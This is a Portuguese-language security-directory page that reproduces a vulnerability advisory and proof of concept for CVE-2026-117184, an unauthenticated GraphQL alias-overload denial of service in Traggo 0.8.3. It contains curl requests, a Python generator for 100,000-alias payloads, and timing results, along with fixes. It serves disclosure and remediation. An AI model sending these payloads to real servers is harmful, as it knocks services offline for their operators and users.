Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-117184 — Prova de conceito e análise técnica da CVE-2026-117184, uma negação de serviço não autenticada por sobrecarga de alias em GraphQL no Traggo 0.8.3, com gerador de payload e orientações de correção. | Kitploit
Ferramentas/GitHubGitHub/primandito/cve-2026-117184
Análise de VulnerabilidadesSegurança WebSegurança de API
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Prova de conceito e análise técnica da CVE-2026-117184, uma negação de serviço não autenticada por sobrecarga de alias em GraphQL no Traggo 0.8.3, com gerador de payload e orientações de correção.

Ver Repositório
há 19 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    383
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hospedado e proxy reverso que filtra tráfego HTTP malicioso, bloqueia injeção SQL, XSS e ataques de bots, com limitação de taxa e criptografia dinâmica de HTML/JS.

    288

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-117184 — Negação de Serviço Não Autenticada via Sobrecarga de Aliases GraphQL no Traggo 0.8.3

CVE Version Status CVE State

Resumo

O servidor Traggo v0.8.3 é vulnerável a uma Negação de Serviço Não Autenticada (DoS). O endpoint GraphQL aceita um número ilimitado de campos com alias e não possui limite de tamanho do corpo da requisição. Como o campo version não possui a diretiva @hasRole, isso pode ser acionado sem autenticação.

Um documento elaborado com muitos aliases (por exemplo, {v0:version{name} v1:version{name} ...}) força o servidor a gastar muito tempo resolvendo campos e a alocar memória excessiva. Uma única requisição com 100.000 aliases (um payload de 2,0 MB) mantém um núcleo de CPU ocupado por mais de 100 segundos e consome quase 1 GB de RAM. Requisições paralelas podem facilmente levar o processo ao território de OOM (Out of Memory).

CampoValor
CVE IDCVE-2026-117184
Registro Oficialcve.org/CVERecord?id=CVE-2026-117184
Versão AfetadaTraggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
Tipo de VulnerabilidadeCWE-400: Consumo Descontrolado de Recursos (DoS)
Vetor de AtaqueRede
Privilégios NecessáriosNenhum (Não Autenticado)
Componente AfetadoEndpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Relatório Originaltraggo/server#253

Arquivos Afetados

Caminho do ArquivoDescrição
graphql/handler.goConfiguração do handler sem limite de complexidade e sem limite de tamanho do corpo.
schema.graphqlO campo version não possui diretiva de autenticação.
auth/hasrole.goImplementação da diretiva (ignorada para version).
graphql/resolver.goO resolver de version é chamado para cada alias.
logger/gql.goA consulta bruta é registrada em erros, amplificando o impacto do tamanho do corpo.

Análise da Causa Raiz

1. Configuração do Handler sem Limites

graphql/handler.go:13-27 — handler.ComplexityLimit(...) nunca é passado. O corpo da requisição vai diretamente para gqlHandler.ServeHTTP sem http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Campo version não autenticado

schema.graphql:62 — Enquanto os outros campos possuem @hasRole(role: USER), o campo version não possui, tornando-o acessível sem um cabeçalho Authorization.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Amplificação de Resolver

graphql/resolver.go:67-71 — Cada alias no conjunto de seleção invoca o resolver separadamente, multiplicando o uso de CPU e memória.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. Comportamento padrão do gqlgen

O gqlgen v0.17.85 só habilita o limite de complexidade quando a aplicação o define explicitamente (handler/handler.go:59-67). Como o Traggo não o faz, cfg.complexityLimit é 0 e nenhuma extensão é adicionada.

5. Amplificação de logs

logger/gql.go:27-36 — Mesmo que a consulta falhe, a consulta bruta é registrada no log. Um payload de 20 MB gera uma entrada de log de 20 MB por requisição.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Prova de Conceito

Testado na v0.8.3, compilado a partir do código-fonte com go build (Go 1.24.4, SQLite, 4 núcleos, 7,7 GB de RAM).

Passo 1: Verificar Acesso Não Autenticado

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Passo 2: Gerar o Payload

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(O arquivo de 100k tem 2.088.904 bytes).

Etapa 3: Enviar e Medir

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliasesTamanho da RequisiçãoTempoNotas
5.00099 KB0,15 s
20.000409 KB2,37 s
50.0001,0 MB24,47 s100% de um núcleo
100.0002,0 MB102,56 sRSS 962 MB

Etapa 4: Execução Paralela

Três requisições de 50 mil em paralelo mostraram 291-299% de CPU em uma máquina de 4 núcleos. O servidor não trava imediatamente, mas consultas pequenas permanecem responsivas (cerca de 1 ms) enquanto as grandes são executadas. O problema principal é a fixação de CPU e um possível OOM.


Correção Recomendada

1. Definir Limite de Complexidade e Limite de Tamanho do Corpo

Aplique os limites em graphql/handler.go:

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Nota: Com ComplexityLimit(1000), a consulta de alias de 50k falha em 0,17s com um erro: operation has complexity 100000, which exceeds the limit of 1000.

2. Restringir o campo version

Se version não precisa ser público, adicione @hasRole(role: USER) ao schema.graphql:

version: Version! @hasRole(role: USER)

Ambiente

ComponenteVersão
Traggo Serverv0.8.3 (commit 6321119c...)
Go1.24.4
gqlgen0.17.85
Banco de dadosSQLite
SOLinux (4 núcleos, 7,7 GB de RAM)

Linha do tempo

DataEvento
2026-10-22Issue #253 reportada ao repositório do servidor Traggo
2026-10-30Registro oficial de CVE publicado em cve.org
—Aguardando resposta do mantenedor sobre a correção

Referências

  • Registro oficial de CVE — CVE-2026-117184
  • Relatório original — traggo/server#253
  • CWE-400: Consumo Descontrolado de Recursos
  • gqlgen Issue #2496: Sobrecarga de alias
  • gqlgen Issue #3550: Sobrecarga de alias

Aviso legal

Baixar ferramenta